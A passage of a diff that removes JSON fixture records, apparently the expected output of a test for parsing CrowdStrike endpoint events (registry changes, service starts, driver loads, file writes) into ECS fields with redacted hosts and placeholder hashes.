Controls\"}],\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "hostname": "redacted-computer-name",
-                "id": "827afde25ba0eeda5d204a68ff612048",
-                "name": "redacted-computer-name",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ClassifiedModuleLoad",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "827afde25ba0eeda5d204a68ff612048",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3542590006570",
-                "executable": "\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe",
-                "name": "<destination>.exe",
-                "thread": {
-                    "id": 32005063951800
-                }
-            },
-            "related": {
-                "hash": [
-                    "9fd1131ff976c9a3212a1db685870aa1",
-                    "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d",
-                    "3164437859"
-                ],
-                "hosts": [
-                    "redacted-computer-name"
-                ],
-                "ip": [
-                    "89.160.20.128",
-                    "81.2.69.142"
-                ]
-            },
-            "source": {
-                "address": "81.2.69.142",
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.142"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Defense Evasion"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Subvert Trust Controls"
-                    ]
-                }
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "864",
-                "ConfigStateHash": "2080600092",
-                "ContextProcessId": "1007045000929",
-                "ContextTimeStamp": "2025-10-02T16:56:51.858Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "86",
-                "EventOrigin": "1",
-                "RegClassification": "334",
-                "RegClassificationFlags": "1",
-                "RegClassificationIndex": "718",
-                "RegObjectName": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}",
-                "RegOperationType": "1",
-                "RegStringValue": "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|",
-                "RegType": "1",
-                "RegValueName": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "8f2302b7d2a07c5d5568941494e0368e0144",
-                "name": "24ba14f1e5840e900e581616a2fe"
-            },
-            "device": {
-                "id": "be027d4cbada339f804f9c19f5a2d5a6"
-            },
-            "event": {
-                "action": "modification",
-                "category": [
-                    "registry",
-                    "host",
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "8f2302b7d2a07c5d5568941494e0368e0144|be027d4cbada339f804f9c19f5a2d5a6|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"RegObjectName\":\"\\\\REGISTRY\\\\MACHINE\\\\SYSTEM\\\\REDACTED\\\\Services\\\\REDACTED\\\\Keyword\\\\REDACTED\\\\Keyword\\\\REDACTED\\\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\",\"ContextThreadId\":\"700420809200030\",\"aip\":\"81.2.69.192\",\"RegClassificationFlags\":\"1\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"8f2302b7d2a07c5d5568941494e0368e0144\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\\\9134161b\\\\3a93a12\\\\82be212b\\\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegSystemConfigValueUpdate\",\"ContextTimeStamp\":\"1759424211.858\",\"ConfigStateHash\":\"2080600092\",\"ContextProcessId\":\"1007045000929\",\"RegType\":\"1\",\"RegClassificationIndex\":\"718\",\"AuthenticationId\":\"864\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\",\"RegClassification\":\"334\",\"Entitlements\":\"86\",\"name\":\"24ba14f1e5840e900e581616a2fe\",\"aid\":\"be027d4cbada339f804f9c19f5a2d5a6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "be027d4cbada339f804f9c19f5a2d5a6",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "RegSystemConfigValueUpdate",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "be027d4cbada339f804f9c19f5a2d5a6",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "1007045000929",
-                "thread": {
-                    "id": 700420809200030
-                }
-            },
-            "registry": {
-                "data": {
-                    "strings": [
-                        "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|"
-                    ],
-                    "type": "REG_SZ"
-                },
-                "key": "SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}",
-                "path": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}",
-                "value": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}"
-            },
-            "related": {
-                "hash": [
-                    "2080600092"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-09-15T11:16:49.450Z",
-            "crowdstrike": {
-                "AuthenticationId": "333",
-                "ConfigStateHash": "00000000",
-                "ContextTimeStamp": "2025-09-15T11:16:48.880Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "17",
-                "InterfaceGuid": "12ABC-345-56D7-X",
-                "InterfaceVersion": "1111111",
-                "LocalAddressIP4": [
-                    "89.160.20.128"
-                ],
-                "RpcClientProcessId": "000000000000",
-                "RpcClientThreadId": "2222222222222",
-                "RpcNestingLevel": "0",
-                "RpcOpNum": "19",
-                "TokenType": "1",
-                "cid": "22222bbbbbbbbbbbbbdddddddddd1233",
-                "id": "aaaaaaaaaa-c6b5-499a-a494-cccccccccc",
-                "name": "ServiceStartedV2"
-            },
-            "device": {
-                "id": "11111aaaaaaaaaaaaacccccccccddddd"
-            },
-            "event": {
-                "action": "ServiceStarted",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-09-15T11:16:49.450Z",
-                "id": "aaaaaaaaaa-c6b5-499a-a494-cccccccccc|11111aaaaaaaaaaaaacccccccccddddd|22222bbbbbbbbbbbbbdddddddddd1233",
-                "kind": "event",
-                "original": "{\"aip\":\"89.160.20.128\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"17\",\"InterfaceGuid\":\"12ABC-345-56D7-X\",\"RpcClientProcessId\":\"000000000000\",\"id\":\"aaaaaaaaaa-c6b5-499a-a494-cccccccccc\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757935009450\",\"LocalAddressIP4\":\"89.160.20.128\",\"event_simpleName\":\"ServiceStarted\",\"ContextTimeStamp\":\"1757935008.880\",\"UserName\":\"redacted-computer-name\",\"ConfigStateHash\":\"00000000\",\"InterfaceVersion\":\"1111111\",\"RpcClientThreadId\":\"2222222222222\",\"AuthenticationId\":\"333\",\"ServiceDisplayName\":\"<redacted>\",\"ConfigBuild\":\"1007.3.0019907.15\",\"CommandLine\":\"C:\\\\Windows\\\\system32\\\\<redacted>.exe\",\"TargetProcessId\":\"444444444444\",\"ImageFileName\":\"\\\\Device\\\\Volume\\\\Windows\\\\System32\\\\<redacted>.exe\",\"RpcOpNum\":\"19\",\"Entitlements\":\"15\",\"name\":\"ServiceStartedV2\",\"ComputerName\":\"redacted-user-name\",\"aid\":\"11111aaaaaaaaaaaaacccccccccddddd\",\"RpcNestingLevel\":\"0\",\"cid\":\"22222bbbbbbbbbbbbbdddddddddd1233\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "hostname": "redacted-user-name",
-                "id": "11111aaaaaaaaaaaaacccccccccddddd",
-                "name": "redacted-user-name",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ServiceStarted",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "11111aaaaaaaaaaaaacccccccccddddd",
-                "version": "1007.3.0019907.15"
-            },
-            "process": {
-                "args": [
-                    "C:\\Windows\\system32\\<redacted>.exe"
-                ],
-                "args_count": 1,
-                "command_line": "C:\\Windows\\system32\\<redacted>.exe",
-                "entity_id": "444444444444",
-                "executable": "\\Device\\Volume\\Windows\\System32\\<redacted>.exe",
-                "name": "<redacted>.exe",
-                "title": "<redacted>"
-            },
-            "related": {
-                "hash": [
-                    "00000000"
-                ],
-                "hosts": [
-                    "redacted-user-name"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "user": [
-                    "redacted-computer-name"
-                ]
-            },
-            "source": {
-                "address": "89.160.20.128",
-                "as": {
-                    "number": 29518,
-                    "organization": {
-                        "name": "Bredband2 AB"
-                    }
-                },
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": "89.160.20.128"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "redacted-computer-name"
-            }
-        },
-        {
-            "@timestamp": "2025-09-15T03:12:42.256Z",
-            "crowdstrike": {
-                "AuthenticodeHashData": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "AuthenticodeHashDataSHA256": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "CertificateIssuer": "Microsoft Windows Production PCA 2011",
-                "CertificatePublisher": "Microsoft Windows",
-                "CertificateSignatureHash": "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
-                "CertificateSignatureHashAlgorithm": "32780",
-                "CompanyName": "Microsoft Corporation",
-                "ConfigStateHash": "111111111",
-                "ContextProcessId": "000000000000",
-                "ContextTimeStamp": "2025-09-15T03:12:38.885Z",
-                "DriverLoadFlags": "0",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "17",
-                "FileVersion": "4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)",
-                "FixedFileVersion": "4.18.25070.5",
-                "HashAlgorithm": "32780",
-                "ImageCheckSum": "123456",
-                "ImageEntryPoint": "94208",
-                "ImageTimeStamp": "2448850720",
-                "LocalAddressIP4": [
-                    "89.160.20.128"
-                ],
-                "OriginalFilename": "wdnisdrv.sys",
-                "RpcClientProcessId": "000000000000",
-                "RpcClientThreadId": "1908581779603",
-                "cid": "22222bbbbbbbbbbbbbdddddddddd1233",
-                "id": "aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb",
-                "name": "DriverLoadV6"
-            },
-            "device": {
-                "id": "11111aaaaaaaaaaaaacccccccccddddd"
-            },
-            "dll": {
-                "code_signature": {
-                    "subject_name": "Microsoft Windows"
-                },
-                "hash": {
-                    "md5": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                    "sha256": "cccccccccccccccccccccccccccccccccccccccccccccccccccccc"
-                },
-                "name": "WdNisDrv.sys",
-                "path": "\\Device\\Volume\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys",
-                "pe": {
-                    "original_file_name": "wdnisdrv.sys"
-                }
-            },
-            "event": {
-                "action": "load",
-                "category": [
-                    "driver"
-                ],
-                "created": "2025-09-15T03:12:42.256Z",
-                "id": "aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb|11111aaaaaaaaaaaaacccccccccddddd|22222bbbbbbbbbbbbbdddddddddd1233",
-                "kind": "event",
-                "original": "{\"AuthenticodeHashDataSHA256\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ContextThreadId\":\"1111111111111\",\"CertificateIssuer\":\"Microsoft Windows Production PCA 2011\",\"aip\":\"89.160.20.128\",\"CertificateSignatureHash\":\"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\",\"CertificatePublisher\":\"Microsoft Windows\",\"CompanyName\":\"Microsoft Corporation\",\"event_platform\":\"Win\",\"AuthenticodeHashData\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"OriginalFilename\":\"wdnisdrv.sys\",\"FileVersion\":\"4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)\",\"ImageCheckSum\":\"123456\",\"EventOrigin\":\"17\",\"RpcClientProcessId\":\"000000000000\",\"id\":\"aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757905962256\",\"LocalAddressIP4\":\"89.160.20.128\",\"event_simpleName\":\"DriverLoad\",\"ContextTimeStamp\":\"1757905958.885\",\"ConfigStateHash\":\"111111111\",\"ContextProcessId\":\"000000000000\",\"DriverLoadFlags\":\"0\",\"ImageEntryPoint\":\"94208\",\"MD5HashData\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"RpcClientThreadId\":\"1908581779603\",\"SHA256HashData\":\"cccccccccccccccccccccccccccccccccccccccccccccccccccccc\",\"ServiceDisplayName\":\"WdNisDrv\",\"ConfigBuild\":\"1007.3.0019907.15\",\"FixedFileVersion\":\"4.18.25070.5\",\"RegistryPath\":\"\",\"ImageFileName\":\"\\\\Device\\\\Volume\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25070.5-0\\\\Drivers\\\\WdNisDrv.sys\",\"ImageTimeStamp\":\"2448850720\",\"Entitlements\":\"15\",\"name\":\"DriverLoadV6\",\"ComputerName\":\"redacted-computer-name\",\"CertificateSignatureHashAlgorithm\":\"32780\",\"aid\":\"11111aaaaaaaaaaaaacccccccccddddd\",\"cid\":\"22222bbbbbbbbbbbbbdddddddddd1233\",\"HashAlgorithm\":\"32780\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "hostname": "redacted-computer-name",
-                "id": "11111aaaaaaaaaaaaacccccccccddddd",
-                "name": "redacted-computer-name",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DriverLoad",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "11111aaaaaaaaaaaaacccccccccddddd",
-                "version": "1007.3.0019907.15"
-            },
-            "process": {
-                "entity_id": "000000000000",
-                "thread": {
-                    "id": 1111111111111
-                },
-                "title": "WdNisDrv"
-            },
-            "related": {
-                "hash": [
-                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                    "cccccccccccccccccccccccccccccccccccccccccccccccccccccc",
-                    "111111111"
-                ],
-                "hosts": [
-                    "redacted-computer-name"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ]
-            },
-            "service": {
-                "name": "WdNisDrv"
-            },
-            "source": {
-                "address": "89.160.20.128",
-                "as": {
-                    "number": 29518,
-                    "organization": {
-                        "name": "Bredband2 AB"
-                    }
-                },
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": "89.160.20.128"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-09-15T07:12:11.466Z",
-            "crowdstrike": {
-                "AuthenticationId": "997",
-                "ConfigStateHash": "2080600092",
-                "ContextProcessId": "100704500092",
-                "ContextTimeStamp": "2025-09-15T07:12:09.062Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "LocalAddressIP4": [
-                    "81.2.69.192"
-                ],
-                "RegClassification": "102",
-                "RegClassificationFlags": "257",
-                "RegClassificationIndex": "405",
-                "RegObjectName": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED",
-                "RegOperationType": "2",
-                "RegType": "0",
-                "RegValueName": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "8f2302b7d2a07c5d5568941494e0368e0144",
-                "name": "RegCrowdstrikeValueUpdateV1"
-            },
-            "device": {
-                "id": "be027d4cbada339f804f9c19f5a2d5a6"
-            },
-            "event": {
-                "action": "deletion",
-                "category": [
-                    "registry"
-                ],
-                "created": "2025-09-15T07:12:11.466Z",
-                "id": "8f2302b7d2a07c5d5568941494e0368e0144|be027d4cbada339f804f9c19f5a2d5a6|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextThreadId\":\"1945182997323\",\"aip\":\"81.2.69.192\",\"RegObjectName\":\"\\\\REGISTRY\\\\MACHINE\\\\SYSTEM\\\\REDACTED\\\\Services\\\\REDACTED\\\\Keyword\\\\REDACTED\\\\Keyword\\\\REDACTED\",\"RegClassificationFlags\":\"257\",\"RegOperationType\":\"2\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"8f2302b7d2a07c5d5568941494e0368e0144\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"\",\"timestamp\":\"1757920331466\",\"LocalAddressIP4\":\"81.2.69.192\",\"event_simpleName\":\"RegCrowdstrikeValueUpdate\",\"ContextTimeStamp\":\"1757920329.062\",\"ConfigStateHash\":\"2080600092\",\"ContextProcessId\":\"100704500092\",\"RegType\":\"0\",\"RegClassificationIndex\":\"405\",\"AuthenticationId\":\"997\",\"ConfigBuild\":\"1007.3.0019907.15\",\"RegValueName\":\"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\",\"RegClassification\":\"102\",\"Entitlements\":\"15\",\"name\":\"RegCrowdstrikeValueUpdateV1\",\"ComputerName\":\"redacted-computer-name\",\"aid\":\"be027d4cbada339f804f9c19f5a2d5a6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "deletion"
-                ]
-            },
-            "host": {
-                "hostname": "redacted-computer-name",
-                "id": "be027d4cbada339f804f9c19f5a2d5a6",
-                "name": "redacted-computer-name",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "RegCrowdstrikeValueUpdate",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "be027d4cbada339f804f9c19f5a2d5a6",
-                "version": "1007.3.0019907.15"
-            },
-            "process": {
-                "entity_id": "100704500092",
-                "thread": {
-                    "id": 1945182997323
-                }
-            },
-            "registry": {
-                "data": {
-                    "type": "REG_NONE"
-                },
-                "key": "SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED",
-                "path": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}",
-                "value": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}"
-            },
-            "related": {
-                "hash": [
-                    "2080600092"
-                ],
-                "hosts": [
-                    "redacted-computer-name"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ]
-            },
-            "source": {
-                "address": "81.2.69.192",
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.192"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-09-15T03:22:10.446Z",
-            "crowdstrike": {
-                "Attacks": [
-                    {
-                        "Tactic": "Command and Control",
-                        "Technique": "Data Obfuscation"
-                    }
-                ],
-                "AuthenticationId": "999",
-                "ConfigStateHash": "1234437812",
-                "ContextBaseFileName": "svchost.exe",
-                "ContextProcessId": "111122223333",
-                "ContextTimeStamp": "2025-09-15T03:22:09.857Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "FileCategory": "3",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FileOperatorSid": "S-1-5-18",
-                "FileWrittenFlags": "0",
-                "IrpFlags": "0",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "LocalAddressIP4": [
-                    "89.160.20.112"
-                ],
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "2",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4",
-                "name": "PngFileWrittenV3"
-            },
-            "device": {
-                "id": "bae5bafaeb93295d398bf55b8ba1cf01"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-09-15T03:22:10.446Z",
-                "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4|bae5bafaeb93295d398bf55b8ba1cf01|4092825518eaf67377a6e4492ae44577",
-                "original": "{\"FileOperatorSid\":\"S-1-5-18\",\"ContextBaseFileName\":\"svchost.exe\",\"FileCategory\":\"3\",\"Size\":\"22929\",\"ContextThreadId\":\"1111111111111\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"61f\\\\cd4242a2\\\\a3fcbe35\",\"id\":\"9c458f0ddfe1293cd356445b2c473d0a0ef4\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757906530446\",\"LocalAddressIP4\":\"89.160.20.112\",\"event_simpleName\":\"PngFileWritten\",\"ContextTimeStamp\":\"1757906529.857\",\"UserName\":\"dev-win10-3$\",\"ConfigStateHash\":\"1234437812\",\"ContextProcessId\":\"111122223333\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"999\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"1002.2.0019609.21\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"15\",\"name\":\"PngFileWrittenV3\",\"ComputerName\":\"dev-win10-3\",\"OperationFlags\":\"0\",\"Attacks\":[{\"Tactic\":\"Command and Control\",\"Technique\":\"Data Obfuscation\"}],\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\Device\\\\Images\\\\qwert.png\"}"
-            },
-            "file": {
-                "device": "61f\\cd4242a2\\a3fcbe35",
-                "directory": "\\Device\\Images",
-                "extension": "png",
-                "inode": "9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1",
-                "name": "qwert.png",
-                "path": "\\Device\\Images\\qwert.png",
-                "size": 22929,
-                "type": "file"
-            },
-            "host": {
-                "hostname": "dev-win10-3",
-                "id": "bae5bafaeb93295d398bf55b8ba1cf01",
-                "name": "dev-win10-3",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "PngFileWritten",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01",
-                "version": "1002.2.0019609.21"
-            },
-            "process": {
-                "entity_id": "111122223333",
-                "name": "svchost.exe",
-                "thread": {
-                    "id": 1111111111111
-                }
-            },
-            "related": {
-                "hash": [
-                    "1234437812"
-                ],
-                "hosts": [
-                    "dev-win10-3"
-                ],
-                "ip": [
-                    "89.160.20.128",
-                    "89.160.20.112"
-                ],
-                "user": [
-                    "dev-win10-3$",
-                    "S-1-5-18"
-                ]
-            },
-            "source": {
-                "address": "89.160.20.112",
-                "as": {
-                    "number": 29518,
-                    "organization": {
-                        "name": "Bredband2 AB"
-                    }
-                },
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": "89.160.20.112"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Command and Control"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Data Obfuscation"
-                    ]
-                }
-            },
-            "user": {
-                "id": "S-1-5-18",
-                "name": "dev-win10-3$"
-            }
-        },
-        {
-            "@timestamp": "2025-08-18T18:31:22.619Z",
-            "crowdstrike": {
-                "ConfigStateHash": "0222222222",
-                "ContextProcessId": "1111111111",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "9c458f-ddfe1293cd-56445b2c4-3d0a0ef4",
-                "name": "MotwWrittenV2"
-            },
-            "device": {
-                "id": "bae5bafaeb93295d398bf55b8ba1cf01"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-08-18T18:31:22.619Z",
-                "id": "9c458f-ddfe1293cd-56445b2c4-3d0a0ef4|bae5bafaeb93295d398bf55b8ba1cf01|4092825518eaf67377a6e4492ae44577",
